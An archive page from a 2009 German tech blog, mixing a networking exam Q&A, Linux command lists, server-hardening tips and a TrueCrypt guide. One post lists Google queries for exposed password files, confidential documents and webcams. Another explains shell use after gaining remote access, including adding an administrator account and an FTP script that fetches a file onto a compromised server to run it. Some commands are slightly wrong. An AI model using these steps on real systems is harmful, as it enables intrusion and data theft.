Daniel Schröter's Blog
  • Home
  • About
  • Impressum
KEEP IN TOUCH

Monatliches Archiv für: Dezember, 2009

Fragenkatalog Netzwerktechnik

Dez18
2009
Kommentieren Geschrieben von Daniel

1. Nennen Sie mind 3 Arten von unberechtigten Datenzugriff
–> Trojanisches Pferd
–>Spyware, Network Sniffer
–> Phishing
–> Phreaking
–> prinzipielles Hacken von Datenbanken (zb. Facebook oder ähnliches)
–> diverse Viren und vereinzelt in Kombination verwendete Würmer

2. Was ist Phishing?

Zuerst wird eine Website mit Zahlungsoption vollständig nachgebaut, dann jeder Besucher durch Viren oder Direktlinks (Email-Phishing) auf die neue Website umgeleitet.
Der Enduser bemerkt meist garnichts von all dem und versucht mit seiner Kreditkarte zu bezahlen (man muss auch noch andere Daten angeben, was es dem Phisher einfach macht, möglichst viel Schaden anzurichten:
zb. Erhält er die Emailadresse, die Wohnadresse [SnailMail Phishing] und öffnet sich selbst somit unendlich viele neue Möglichkeiten, den Enduser zu schädigen).

3. Nennen sie mind. eine Möglichkeit um Phisching zu verhindern:

Am einfachsten bei benötigter Registrierung mit Emailadresse (zb. Bei Foren) einfach eine anonyme Emailadresse verwenden, wie etwa mailinator.com.
Weiters sollte man immer beachten, ob die Domäne auch wirklich stimmt, wie zum Beispiel bei einer Onlinefiliale der Sparkasse. Wichtig ist, dass die Url exakt stimmt. Bei Unstimmigkeiten oder Verdacht am einfachsten bei der nächsten Sparkasse anrufen und melden.

4. Zeichnen Sie das OSI 7-Schichten Modell

Layer 7 Application – Layer
Layer 6 Presentation – Layer
Layer 5 Session – Layer
Layer 4 Transport – Layer
Layer 3 Network – Layer
Layer 2 Data-Link – Layer
Layer 1 Physical – Layer

5. Für was ist die Schicht 2 des OSI-Modell da?

Schicht 2 kümmert sich um die fehlerfreie Übertragung von Daten. Es werden Prüfsummen von Daten erstellt, die eine fehlerlose Verbindung ermöglichen. Sollten Daten Fehlerhaft sein, wird dies anhand der Prüfsumme überprüft und das Datenpaket neu angefordert. Die Pakete werden auch als „Frames“ bezeichnet.

6. Nennen sie mind. ein Protokoll, dass in der Schicht 3 arbeitet.

IP(Internet Protocol)
ICMP (Internet Control Message Protocol)

7. In welche Schicht des OSI-Modells würden sie UDP zuordnen?

Layer 4 (Transport-Layer)

8. Nennen sie mind. 2 Switching Methoden und erklären sie diese kurz.

Cut Through
o Sehr schnelles Vorgehen, Switch sieht beim Eintreffen von Paketen nur die Ziel-MAC an und sendet das Paket dann weiter.
o Hier können auch beschädigte Pakete weitergeleitet werden, da keine Fehlerüberprüfung durchgeführt wird
Store and Forward
o Standardverfahren beim Switching.
o Switch empfängt den kompletten Frame, überprüft diesen auf Fehler und sendet den Frame, nach Auslesung von Quell- und Ziel-MAC, weiter.
o Keine Fehler im Netzwerkverkehr, da die CRC Checksummen vom Switch ausgelesen und verglichen werden.
Fragment Free
o Mittelding zwischen Store and Forward und Cut Through. Langsamer als Cut through aber schneller als Store and Forward.
o Prüft ob ein Frame die Mindestlänge von 64 bytes erreicht und schickt ihn dann sofort an den Zielport. Pakete unter 64 Bytes Größe sind keine gültigen Pakete.
o Keine CRC Prüfung.

9. Erklären sie den Begriff “statisches Routen”

–>Statisches Routing
o Ist nicht adaptiv und sehr einfach zu konfigurieren. Jeder Router erhält eine Tabelle mit möglichen anderen Zielknoten im Netzwerk. Eine Zeile enthält welche die beste und welche die zweitbeste Übertragungsmöglichkeit für den Router ist. Vor Weiterleitung von Paketen wird zuerst auf die Routingtabelle Acht genommen.

10. Nennen sie mind. 1 Routingprotokoll

1 IGRP/EIGRP (Interior Gateway Routing Protocol/ Enhanced IGRP)
2 OSPF (Open Shortest Path First)
3 IS-IS (Intermediate System to Intermediate System)
4 RIP (Routing Information Protocol)

11. Erklären sie den Three Way Handshake

Der Verbindungsaufbau läuft nach dem Three-Way-Handshake ab.
Zuerst schickt der Client an den Server einen Verbindungswunsch (SYN).
Der Server bestätigt den Erhalt der Nachricht (ACK) und äußert ebenfalls seinen Verbindungswunsch (SYN).
Der Client bestätigt den Erhalt der Nachricht (ACK). Danach erfolgt die Kommunikation zwischen Client und Server.

12. Erklären sie kurz Aufgaben und Funktion von SMTP

Das Simple Mail Transfer Protocol (SMTP, zu deutsch etwa Einfaches E-Mail-Sendeverfahren) ist ein Protokoll der IP-Familie, das zum Austausch von E-Mails in Computernetzen dient. Es wird dabei vorrangig zum Einspeisen und zum Weiterleiten von E-Mails verwendet. Zum Abholen von Nachrichten kommen andere, spezialisierte Protokolle wie PoP3 oder IMAP zum Einsatz. SMTP-Server nehmen traditionell Verbindungen auf Port 25 („smtp“) entgegen. Neuere Server benutzen auch Port 587, um für authentifizierte Benutzer Mail entgegenzunehmen, die an andere Mailserver ausgeliefert werden muss („submission“). Damit soll Spam vermieden werden.

13. Erklären sie das SMTP-Relay

Als SMTP-Relay-Server, Mail-Relay-Server oder Smarthost wird ein Mail-Server (B) bezeichnet, der von einem Sender (A) E-Mail annimmt und an beliebige Dritte (C) weiterleitet.
A (Sender ) → B (Relay-Server) → C (Empfänger)
Ein korrekt konfigurierter SMTP-Relay-Server (Smarthost) leitet E-Mails nur dann weiter, wenn er
• entweder für Mails von A zuständig ist
Beispiel: ein Kunde (A) darf über den Mailserver seines Providers Mails an beliebige Empfänger (C) versenden.
• oder für Mails an C zuständig ist
Beispiel: Der Mailserver einer Firma (C) nimmt Mails von beliebigen Absendern (A) entgegen.

14. Was ist Spam?

Als Spam oder Junk (englisch für ‚Abfall‘ oder ‚Plunder‘) werden unerwünschte, in der Regel auf elektronischem Weg übertragene Nachrichten bezeichnet, die dem Empfänger unverlangt zugestellt werden und häufig werbenden Inhalt haben. Dieser Vorgang wird Spamming oder Spammen genannt, der Verursacher Spammer.

Geposted in Lesenswertes

Kollektivvertrag 2009/2010 für IT-Techniker (Österreich)

Dez18
2009
Kommentieren Geschrieben von Daniel

Kollektivvertrag für IT-Techniker 2009/2010 (WKO, Österreich)

für Angestellte von Unternehmen im Bereich Dienstleistungen in der automatischen Datenverarbeitung und Informationstechnik

Kann bestimmt der ein oder andere gebrauchen :)

IT-Kollektivvertrag 2010

WKO-Link: http://portal.wko.at/wk/format_detail.wk?angid=1&stid=364641&dstid=6955&opennavid=32247

Geposted in Informatives - Schlagwörter EDV Kollektivvertrag, it kollektiv, it kollektivvertrag, IT-Techniker Vertrag, Kollektivvertrag datenverarbeitung und informationstech

Google such Codes

Dez14
2009
Kommentieren Geschrieben von Daniel

Nach mp3 Dateien suchen:
Code:
“Index of /” +MP3

Bsp:
“Index of /” +MP3 “Madonna”

Nach Video Dateien suchen:

Code:
“Index of /” +Videos
oder
“Index of /” +Moviez

Bsp:
“Index of +avi

Nach Passwörter suchen:

Code:
intitle:”index of” +etc
filetype:dat “password.dat”
filetype:ini +ws_ftp +pwd
filetype:log inurl:”password.log”

Bsp:
intitle:Index.of etc shadow
intitle:”Index of..etc” passwd

Nach eMail-Server suchen:

Code:
“adding new user”

Bsp:
inurl:”addnewuser”

nach Geheimen Dokumenten suchen:

Code:
ext:doc confidential
“   “   “   “   “   ”

Bsp:
ext:doc confidential “geheim”
geht auch mit: doc xlc txt ppt

Fax- Druckserver finden:

Code:
intitle:”Home” “Xerox Corporation” “Refresh Status”

Webcam´s finden:
Code:
intitle:”my WebcamXP server!” inurl:”:8080″

Anzeigen von gesperrten Verzeichnissen:
Code:
ext:txt robots

Bsp:
ext:txt robots ebay

Nach Chat Logs suchen:
Code:
“index of” / “chat/logs”

Weitere Google Tipps

Mit filetype lassen sich bestimmte Dateitypen finden. Bsp: filetype:txt
Mit + lassen sich alle Webseiten finden, die ein bestimmtes Wort enthalten. Bsp: +FBI +Agent
Mit – werden nur Seiten gefunden, die ein bestimmtes Wort nicht enthalten. Bsp: -public –user
Per Intitle: lässt sich das <title> tag durchsuchen. Bsp: intitle:index
Mit intext: findet man bestimmte Wörter auf einer Webseite. Bsp: intext:Hacker
Über inurl: lassen sich Wörter in einer URL festlegen. Bsp: inurl:etc inurl:bin
Mit site: kann man auf bestimmten Domains suchen. Bsp: site:com site:de
Mit “” lassen sich aufeinander folgende Wörter suchen. Bsp: “index of”

Geposted in Informatives, Security Informations - Schlagwörter anzeigen von gesperrten verzeichnissen, google codes, google such codes, google such Tipps, google tipps, nach geheimen dokumenten suchen, nach mail server suchen, nach mp3 suchen, nach passwörtern suchen, nach videos suchen, suchen von servern, webcams finden

Die Linux Grundlagen

Dez13
2009
Kommentieren Geschrieben von Daniel

1.1 Allgemeines
• UNIX ca. 1969 für Großrechner
• ca. 1991 Linux für PCs
• Multiuser, Multitasking
• Verwaltet verschiedene Benutzergruppen
• Systemadministrator hat den Namen: root
• Herunterfahren des Systems (meist nur durch root); Befehl: shutdown –h now
• Unterscheidung zwischen Groß- und Kleinbuchstaben bei Dateinamen.
• Umlaute (ä, ü, ö, und ß) sind in Dateinamen nicht erlaubt.
• Lange Namen (bis 255 Zeichen) möglich.
• Verzeichnisse werden mit Slashen / und nicht durch Backslash \ dargestellt.

Bsp.: /home/raid/<username>

• Keine Laufwerksbezeichnungen

Geräte (und Partitionen) werden wie Verzeichnisse behandelt.

/dev/Lpr
Device/Drucker

/dev/fd0
Device/Diskettenlaufwerk

Erste Partition der ersten Festplatte:

/dev/hda1
Erste Partition (a) Erste Festplatte (1)

Zweite Partition der dritten Festplatte:

/dev/hdb3
Zweite Festplatte (b) Dritte Partition (3)

CDRom-Laufwerk:
/dev/cdrom

SCSI-Laufwerk:
/dev/scd0

Auf die Inhalte der Laufwerke kann nur zugegriffen werden nachdem diese
„gemounted“ worden sind. (Befehl: mount – t /dev/hda1 /windows)
Mount = montieren, einhängen
WEITERLESEN… »

Geposted in Linux Stuff - Schlagwörter Allgemeine Linux Informationen, Linux Allgemein, Linux Grundlagen

Linux Server absichern

Dez13
2009
Kommentieren Geschrieben von Daniel

1. root-User deaktivieren:
zuerst den Befehl

adduser

eingeben. Dann einen neuen Benuzernamen eingeben (Er sollte mehr als 6 Buchstaben haben)

danach in der Datei “sshd_config” im Verzeichnis “/etc/ssh/”
die Zeile:

PermitRootLogin yes

suchen und mit no ersetzen. (PermitRootLogin no)
Beim nächsten Login mit dem neuen User einloggen und mit dem Befehl:

su

root-Rechte bekommen. Fertig!

2. SSH-Port ändern:
Die Datei “sshd_config” im Verzeichnis “/etc/ssh/” öffnen und in der Zeile wo

port 22

steht einfach z.B. port 222 reinschreiben, danach in das Verzeichnis /etc/init.d/ wechseln und den SSHd-Dienst mit ./sshd restart neu starten. Dann macht ein Zweites Putty-Fenster auf und probiert die Konfiguration aus. (Nicht vergessen den Verbindungsport dann im Putty auch dem entsprechend zu ändern ;) )

3. Port Sperren:
einfach (um z.B. port 80 zu sperren)

iptables –A INPUT –dport 80 –j DROP

eingeben.

4. Eine IP-Adresse sperren:

Wir wollen z.B. die IP-Adresse 74.125.50.90 sperren:

iptables –A INPUT –s 74.125.50.90 –j DROP
eingeben.

Eine Range kann mit folgendem Befehl gesperrt werden (Beispiel: 74.124.0.0 bis 74.124.255.255):

iptables –A INPUT –s 74.125.0.0/24 –j DROP

5. Gegen DDoS (Distributed Denial of Service) schützen:
Eine gute Anleitung gibt es unter huschi.net

Geposted in Linux Stuff - Schlagwörter ip range sperren, linux absichern, linux port sperren, root account deaktivieren, root server absichern, ssh port ändern

Linux Befehle

Dez13
2009
Kommentieren Geschrieben von Daniel

Hier mal ein paar Linux-Befehle:

chown -R mygov /home/blablub = Gibt für den User mygov die Berechtigung um files auszuführen.

find . -name *locali* = Sucht nach *locali* und spuckt die Ergebnisse aus.

pwd = Zeigt das aktuelle Verzeichnis an indem man sich gerade befindet.

mkdir -p /tmp/dir1/dir2 = Erstellt den Verzeichnisbaum /tmp/dir1/dir2

rm -f file1 = Löscht die Datei “file1″

chown user1 file1 = Ändert den Besitzer der “file1″ zu “user1″

chown -R user1 directory1 = Ändert den Besitzer des Ordners “directory1″ und alle Unterordner inkl. Dateien in “user1″

tar -xvfj archive.tar.bz2 = Entpackt bz2 Archive

tar -xvfz archive.tar.gz = Entpackt gz Archive

tar -zxf <name.tgz> = Entpackt tgz Archive

unzip file1.zip = Entpackt zip Files

Update:

Verzeichnis Operationen

cd
Wechselt in das angegebene Verzeichnis

ls
Zeigt den Inhalt des aktuellen oder des angegebenen Verzeichnisses an

mkdir
Legt ein neues Verzeichnis an

pwd
Zeigt das aktuelle Verzeichnis an

rmdir
Loescht ein Verzeichnis

Editoren

emacs
Maechtiger Editor mit Mail und News-Funktionen.

joe
Editor mit WordStar-aehnlichem Userinterface

pico
Einfacher Editor, der auf dem Pine-Composer basiert.

vi
Standard Unix-Editor.

vim
vi-Improved. vi mit erweiterter Funktionalitaet

Datei Operationen

basename
Gibt einen Dateinamen ohne Pfadangaben aus

cat
Verbindet mehrere Dateien und gibt das Ergebnis auf Standardausgabe aus

chgrp
Gruppenzugehoerigkeit einer Datei aendern

chmod
Zugriffsrechte aendern (rwx)

chown
Eigentuemer einer Datei aendern

cmp
Vergleicht zwei Dateien auf Uebereinstimmung

cp
Kopiert Dateien und Verzeichnisse

cpio
Kopiert Dateien in bzw. aus Archiven

dirname
Gibt nur den Pfad zu einer Datei aus

file
Zeigt den Dateitypen einer Datei an.

head
Gibt die ersten Zeilen einer Datei aus

less
Eine bestimmte Anzahl Zeilen einer Datei anzeigen

ln
Erstellt einen Link zu einer Datei/Verzeichnis

mkdirhier
Erstellt eine Verzeichnishierarchie

more
Durch einen Text scrollen (nur nach unten).

mv
Verschiebt Dateien und Verzeichnisse (bennennt auch um)

rm
Loescht Dateien und Verzeichnisse

split
Datei aufteilen (zB zum Transport per Mail oder Diskette)

tail
Gibt die letzten Zeilen einer Datei aus

touch
Aendert den Zeitstempel von Dateien.
Wenn eine Datei nicht existiert, wird sie mit einer
Groesse von 0 Byte angelegt

Hilfe anzeigen

apropos
Zeigt die Titel von man-pages zu einem gegebenen Stichwort an

info
Zeigt GNU Info Seiten an. info ist eine Alternative
zu man, die vor allem von GNU Software genutzt wird.

man
Zeigt man-pages an. man-pages sind Seiten aus dem
Linux Programmer’s Manual.

whatis
Zeigt die Titel von man-pages zu einem gegebenen Stichwort an

ISDN Management

imon
Zeigt Informationen ueber die aktuellen ISDN-Verbindungen an

isdnctrl
Setzt ISDN Informationen bzw gibt diese zurueck.
Startet und beendet auch eine ISDN Verbindung.

Kommunikation

wall
Schickt den Inhalt einer Datei an alle angemeldeten User.

mail
Sendet eine E-Mail an einen User.

mailq
Zeigt noch zu versendende Mails an

mesg
Stellt ein, ob Nachrichten anderer User auf dem
eigenen Screen angezeigt werden sollen.

talk
‘kopiert’ Zeilen vom Screen eines Users auf den Screen
eines anderen Users. Das heisst mit talk koennen sich zwei User ‘unterhalten’

write
Schreibt eine Nachricht auf die Console eines anderen Users,
sofern dieser diese Option nicht mit mesg abgeschaltet hat.

Komprimierung

tar
Archiv- und Bibliotheksverwaltung

compress
Komprimiert Dateien im Lempel-Ziv Verfahren

gzip
Komprimiert und dekomprimiert Dateien im Lempel-Ziv Verfahren

tar
Komprimiert und dekomprimiert Archive mehrerer Dateien

unzip
Dekomprimiert zip-Archive.

zip
Komprimiert Dateien. zip-Archive werden auch von PKZIP und WinZip (DOS/Win)

Verschiedenes

alias
“Legt alias-Namen fuer Kommandos an.
Zum Beispiel ‘alias rmd=”"rm -rf “”‘”

at
Einmaliges ausfuehren eines Befehles zu einer bestimmten Zeit

batch
Einmaliges ausfuehren eines Befehles wenn das System nicht ausgelastet ist

cal
Zeigt einen Kalender an

clear
Loescht die Konsole

comm
Selektiert gleiche Zeilen der Ausgabe/Datei

crontab
Zeigt die userspezifische Cron-Tabelle an, bzw. oeffnet sie zum editieren

date
Gibt das aktuelle Datum aus.

echo
Gibt einen Text auf der Konsole aus.

env
Gibt alle Umgebungsvariablen aus.

expr
Auswerten von Ausdruecken.

find
Durchsucht den Verzeichnisbaum, ausgehend vom aktuellen Verzeichnis,
nach einer Datei.

fold
Bricht ueberlange Zeilen um

grep
Sucht nach einer Zeichenfolge in einer Datei, oder einer
umgeleiteten Ausgabe (echo test.txt | grep blafasel)

halt
Runterfahren des Systems.

history
Gibt die Eintraege im History-File des Users nummeriert aus

hostname
Zeigt den Namen des Rechners an

init
Runlevel wechseln

join
Verknuepft Zeilen der Ausgabe

nl
Nummeriert die Zeilen der Ausgabe

pr
Konvertiert Texte zum Drucken.

printenv
Gibt alle Umgebungsvariablen aus.

reboot
Neu starten des Systems.

rev
Zeichenfolge umkehren

shutdown
Runterfahren, bzw. Reboot des Systems

sleep
Eine Anzahl von Sekunden warten

sort
Sortiert die Ausgabe von Programmen, bzw Dateien

strings
Extrahiert alle (lesbaren) Zeichenfolgen aus einer Datei/Eingabe

sum
Ermittelt Dateilaenge und Pruefsumme einer Datei

tee
Verdoppelt die Ausgabe eines Programmes
(zum gleichzeitigen Anzeigen auf Bildschirm und mitloggen in Datei)

type
Zeigt den Typen einer Datei und die Interpretation des Dateinamens als Parameter an

uniq
Entfernt doppelte Zeilen in einer Datei

wc
Zaehlt Buchstaben, Zeilen und Woerter der Eingabe.


Netzwerk Management

ftp
Öffnet eine FTP-Session zum angegebenen Rechner. Per FTP
(File Transfer Protocol) koennen verschiedene Datei- und
Verzeichnisoperationen auf dem entfernten Rechner durchgefuehrt werden.

ifconfig
Konfiguriert Netwerk-Schnittstellen, bzw gibt deren
Konfiguration und Status aus

ipchains
Tool zur Konfiguration der Kernel-Firewall

netdate
Zeitsynchronisation mit entferntem Rechner

netstat
Gibt Informationen ueber Netzwerkverbindungen, Routingtabellen ua aus

ping
Sendet kleine Datenpakete an die angegebene IP-Adresse bzw. den
angegebenen DNS-Namen und wartet auf eine Antwort der Gegenstelle.
Zum ueberpruefen einer Netzverbindung

rcp
Remote Copy. Kopiert auf entfernten Rechner.

route
Manipuliert die Routen zu entfernten Rechnern.
Normalerweise zum Erstellen einer statischen Route zu einem speziellen Rechner.

telnet
Öffnet eine Telnet-Session zum angegebenen Rechner. Per Telnet
kann ein anderer Rechner “ferngesteuert” werden.

tty
Zeigt das device an, ueber das man angemeldet ist


Partitions Management

badblocks
Durchsucht einen Partition nach beschaedigten Bloecken (BadBlocks)

dd
Kopiert Partitionen/Dateisysteme bytegenau

dumpe2fs
Gibt Informationen ueber das Dateisystem auf einer Partition aus

e2fsck
Prueft und repariert Linux ext2 Dateisysteme

e2label
Weist einem Dateisysten ein Label (Bezeichnung) zu,
bzw gibt das Label aus

fdisk
Legt Partitionen an und loescht sie. Anzeige der aktuellen Partitionstabelle

fsck
Prueft und repariert Linux Dateisysteme

hdparm
Programm zum Einstellen verschiedener Parameter einer Festplatte

mkdosfs
Erzeugt ein Dos (FAT16 und FAT32) Dateisystem auf
der angegebenen Partition

mke2fs
Erzeugt ein ext2 Dateisystem auf der angegebenen Partition

mkfs
Frontend zu verschiedenen Filesystem-Erstellern

mkswap
Erzeugt eine Linux Swap-Partition auf der angegebenen Partition

mount
Haengt ein Dateisystem (eine Partition, Diskette..) in
den Verzeichnisbaum ein (an einen Mountpoint)

tune2fs
Programm zum Einstellen verschiedener Parameter
des ext2 Dateisystems (zB maximal mount count)

umount
Loest ein Dateisystem aus dem Verzeichnisbaum

Prozess Management

kill
Beendet den Prozess mit der uebergebenen Prozess-ID (PID)

killall
Beendet alle Prozesse mit dem uebergebenen Namen

killproc
Beendet den Prozess, dessen ausfuehrbare Datei im
uebergebenen Pfad zu finden ist

nice
Setzt die Prioritaet eines Prozesses

nohup
Startet ein Programm immun gegen SIGHUPs

pidof
Gibt die PID(s) des Prozesses mit dem uebergebenen Namen aus

ps
Zeigt alle Prozesse mit ihrer PID, der User-ID des
ausfuehrenden Users, die Terminal-ID etc. an

pstree
Zeigt alle Prozesse in einer Baumdarstellung an

top
Zeigt Prozesse in einer sich staendig aktualisierenden
Liste an. Die Prozesse, die die meiste CPU-Zeit brauchen,
werden zu oberst angezeigt.


Drucken

lpq
Druckauftraege anzeigen

lpr
Druckauftrag in Druckerschlange stellen

lprm
Druckauftrag loeschen

lptest
Testmuster zum Druckertest ausgeben (lptest | lpr)

Suchen

find
Umfangreiches Suchtool

locate
Sucht Dateien mittels eines Indexes, der durch updatedb erstellt wird

updatedb
Erstellt einen Suchindex ueber das gesammte
Dateisystem fuer locate

whereis
Sucht das Binary (ausfuehrbare Datei), den Quellcode
und die man-Page eines Programmes

which
Gibt den ersten gefunden Pfad eines Programmes im Pfad (echo $PATH) an


System Infos

df
Zeigt die Speicherauslastung der Partitionen des Systems an,

du
Zeigt den Speicherverbrauch einzelner Verzeichnisse an

free
Zeigt die Speicherauslastung des Systems an. Geteilt in RAM und SWAP-Space.

uptime
Zeigt die Uptime der Maschine an. Die Uptime ist die Zeit seit dem letzten Reboot.

User Infos

finger
Gibt den Login-Namen, Real-Namen, Terminal Namen, Schreibstatus,
die Idle-Zeit (Zeit seit der letzten Nutzung des Accounts),
die Login-Zeit, den Standort und die Buero-Telefon-Nummer
des angegebene Useraccounts aus.

groups
Gibt die Gruppenzugehoerigkeit eines Users aus

id
Gibt den eigenen Login-Namen inklusive Gruppe aus

last
Zeigt die letzten Logins an.

logname
Gibt den eigenen Login-Namen aus

w
Um Informationen ueber die momentan ausgefuehrte
Taetigkeit erweitertes who

who
Gibt die Login-Namen der momentan eingelogten User
zusammen mit den Terminal-IDs und dem Login-Zeitpunkt aus

whoami
Gibt den eigenen Login-Namen aus

User-Account Management

chfn
Aendern der User-Informationen eines AccountsRoom-NumberWork-PhoneHome-Phone

chsh
Aendern der Login-Shell eines Useraccounts

exit
Aktuelle Session verlassen

groupadd
Anlegen einer neuen User-Gruppe

groupdel
Loeschen einer bestehenden User-Gruppe

groupmod
Aendern der Daten einer bestehenden User-Gruppe

login
Als Benutzer anmelden bzw. neu anmelden.

newgrp
Aendern der aktuellen Gruppe

passwd
Festlegen bzw. Aendern des Passwortes eines Useraccounts

su
Neue Session mit anderem Account aufmachen (su – : root-Account).

sudo
Befehl als root ausfuehren.

useradd
Anlegen eines neuen Useraccounts. Zumindest der
Login-Name muss angegeben werden

userdel
Loeschen eines Useraccounts.

usermod
Aendern eines bestehenden Useraccounts.

Geposted in Linux Stuff - Schlagwörter *nix Befehle, linux, linux befehle, linux befehlsliste, linux commands, tux cmds

Festplatte verschlüsseln mit TrueCrypt

Dez12
2009
Kommentieren Geschrieben von Daniel

Vorraussetzungen:
Eine Partition, die ihr verschlüsseln wollt, so wie ein Passwort, das nur ihr wisst und ihr “nicht mehr” vergessen solltet, denn ansonsten kommt ihr nicht mehr an die Daten ran!

Download von TrueCrypt

Weitere Informationen über TrueCrypt

Lektion 1 – Partition verschlüsseln

  1. TrueCrypt starten und “Create Volume” auswählen.
  2. Ob sichtbar oder unsichtbar (hidden) könnt ihr selbst entscheiden. Klickt dann auf Next.
  3. Jetzt sucht ihr die zu verschlüsselnde Partition, bestätigt mit Ok, und lasst den Haken bei “Never Search History” drin. Next!

Entcryption Algorithm: Wählt AES aus.
Hash Algorithm: SAH-1

Klickt weiter bis ihr zum letzten Feld gelangt:
Nun müsst ihr das Passwort eintippen.
Ihr dürft es nicht mehr vergessen…!

Filesystem: NTFS
Cluster: Default

! ! ! Bitte beachtet, dass eure Partition formatiert wird ! ! !

Jetzt klickt ihr auf “Format” – das kann eine weile dauern.

Lektion 2 – Partition mounten
(muss vor der Benutzung gemacht werden)

  1. True Crypt starten und auf “Select Device” klicken, dort wählt ihr die zu entschlüsselnde Partition aus.
  2. Wählt im Fenster einen Laufwerksbuchstaben aus! -> Doppelklick.
  3. Passwort eintippen! (Nicht die Option “Cache Password and Keyfiles in Memory” auswählen!) -> Ok!
  4. Jetzt ist die Partition im Arbeitsplatz sichtbar und ihr könnt darauf zugreifen.
Geposted in Downloads, Tipps&Tricks, Win Stuff - Schlagwörter HDD crypt, TrueCrypt verschlüsselung, verschlüsselung

Konsolenbefehle (CMD und Bash)

Dez12
2009
Kommentieren Geschrieben von Daniel

Wir haben jetzt schon einige Wege kennengelernt, eine Remote-Shell (Konsole) auf einem System zu bekommen. Doch was nützt uns das, wenn wir keine tollen Befehle kenn, mit denen wir die Konsole füttern können? Nichts :)
Unter Windows ist die Konsole die Eingabeaufforderung oder auch CMD (von command.com) genannt. Unter Linux gibt es verschiedene Konsolen, doch die am meisten genutzte ist wohl die Bash (Burn Again Shell). Auch wenn euch die Shells zu Anfang recht kompliziert vorkommen, wenn man sich mit ihnen angefreundet hat merkt man, dass sie einem relativ viel Arbeit ersparen und vor allen sehr Mächtig sind. Ausserdem sind sie für das Benutzen von Exploit unerlässlich ;) Also fangen wir mal an…

CMD

Wie bereits geschrieben auch Eingabeaufforderung genannt. Unter Windows erreicht ihr sie indem ihr auf Start -> Ausführen -> cmd geht. Die Klammern < > die ich verwende, gehören nicht zum Befehlssyntax, sondern sollen euch nur sagen, dass ihr hier eigene Parameter angeben müsst. Also dann gehen wir mal an die Basics =D Wenn ihr mehr zu einem Befehl wissen wollt gibt als Parameter einfach /? ein und ihr bekommt eine ausführliche Hilfe. Groß- und Kleinschreibung ist bei Windows egal.

<Datei> – öffnet eine Datei
cd <Verzeichnis> – Wechseln in ein Verzeichnis (Change Directory)
cd – Wechselt in das Wurzelverzeichnis (Root-Directory)
cd.. – Wechselt ein Verzeichnis nach oben im Verzeichnisbaum
dir – Listet den Inhalt des Ordners auf in dem ihr euch gerade befindet
dir *.exe – Listet alle Dateien mit der Endung .exe auf (im aktuellen Verzeichnis)
<Festplattenbuchstabe>: – Wechselt auf eine andere Festplatte
del <Datei> – Löscht eine Datei
del *.* – Löscht alle Dateien im aktuellen Verzeichnis
move <Quelle> <Ziel> – Verschieben von Quelle nach Ziel
copy <Quelle> <Ziel> – Kopiert Datei von Quelle nach Ziel
format <Festplattenbuchstabe> – *hrrrr* ^^
mkdir <Name> – Erstellt ein Verzeichnis
rename <Datei1> <Datei2> – Datei1 in Datei2 umbenennen
net user – Gibt uns eine Liste alle Benutzer
net user <Name> – Gibt Informationen über einen bestimmten Benutzer aus
net localgroup – Listet alle lokalen Benutzergruppen auf
net localgroup <Name> – Informationen und Mitglieder einer bestimmten Gruppe
net services – Gibt uns eine Liste alle Dienste sowie deren Status an
net start <Dienst> – Startet einen Dienst
net stop <Dienst> – Stoppt einen Dienst
net send <Hostname/IP> <Nachricht> – Sendet eine Nachricht an einen PC
net user <Name> * /ADD – Fügt einen neuen Benutzer hinzu (Gruppe: Benutzer)
net localgroup <Gruppe> <Name> /ADD – Fügt einen Benutzer einer Gruppe hinzu – Wie wäre es mit Administratoren =D
echo <Irgendwas> – Der Text nach echo wir ausgegeben
echo %<Umgebungsvariable>% – Gibt den Inhalt einer Umgebungsvariable aus
ftp – Startet den FTP-Client
telnet – Startet den Telnet-Client
telnet <Ip/Host> <Port> – Zu einem Rechner auf einem bestimmten Port verbinden
ping <Hostname/IP> – Ping eine IP
set – Zeigt alle Umgebungsvariablen an
title <String> – Verpasst unserer Konsole einen neuen Titel
color <inderhilfegucken> – Farbe gefällig ;)
type <Datei> – Zeigt den Inhalt einer Datei
find “<String>” /i <Datei> – Durchsucht eine Datei nach einem String und ignoriert Groß- und Kleinschriebung
ver – Zeigt uns die aktuelle Windows-Version an
rem <irgendwas> – Macht NIX :D Mit rem kommentiert man in Batch seinen Code
cls – Löscht den Inhalt der Konsole

Umleitungsoperatoren

dir /s | find “.bmp” /i
dir /s listet den kompletten Verzeichnisbaum inc. Unterverzeichnisse und Dateien auf (also den gesammten Festplatteninhalt). Das Pipe-Symbol | leitet diese Ausgabe jetzt nicht auf den Bildschrim sondern zum Befehl find “.bmp” /i weiter, wo nach dem String .bmp gesucht wird. So bekommen wir alle .bmps die sich auf der Festplatte angezeigt.

echo w00t > new.txt
echo w00t würde eigentlich den Text w00t auf dem Bildschirm ausgeben, doch dieser wir durch den Umleitungsoperator > (ein Krokodil, das den Text auffrisst :P ) in die Datei new.txt geschrieben. Existiert die Datei nicht, so wird diese erstellt. Existiert die Datei bereits, so wird sie überschrieben.

echo r00t >> new.txt
Der Effekt ist der Gleiche wie bei nur einem Umleitungsoperator, doch wir die Datei nicht überschrieben, falls sie bereits vorhanden ist, sondern wird unsere Ausgabe unten angefügt.

Es gibt noch dem < Umleitungsoperator, aber den hab ich noch nie gebraucht =D

FTP-Script

Jetzt stellt euch aber mal vor ihr habt eine Remote-Shell auf einem Server und wollt eine Datei hochladen. Was machen wir dann? Zuerst holen wir uns etwas Webspace (zB. www.tripod.de) wo wir unsere Datei(en) hochladen, dann schreiben wir uns ein kleines Script und füttern damit den FTP-Client :]

echo open ftp.tripod.de > scr
echo user <Benutername> >> scr
echo <Passwort> >> scr
echo type binary >> scr
echo get <Datei> >> scr
echo quit >> scr
ftp –s:scr –v –n

Jetzt nur noch die Datei ausführen und schon sind wir am Ziel…

Konsolen-Styling

Wenn wir jetzt schon zu Tastatur-Cowboys geworden sind, dann brauchen wir auch eine kewle Shell mit der wir und durch die ganze Welt hacken =D Und mit unserem jetzigen Wissen ist das ganze auch kein Problem mehr =P
Macht einen Rechtsklick auf euren Desktop und geht auf Neu -> Verknüpfung. Jetzt geben wir als Datei folgenden ellenlangen String an:

cmd /k title :: moo’s haXX0r Konsole & color 0a & cd & cls & echo +++++++++++++++++++++++++ & echo + Welcome to HaXX-Shell + & echo +++++++++++++++++++++++++  & ver

Fertig.
cmd /k startet die Konsole und lässt die offen. Der Befehl title legt den Titel des Fensters fest, color 0a sorgt für die Matrix-Farbe, cls löscht den Konsolen-Inhalt, echo gibt eine kewle Begrüßung aus und ver zeigt uns unsere Windows-Version an. Die einzelnen Befehle sind durch & verkettet.

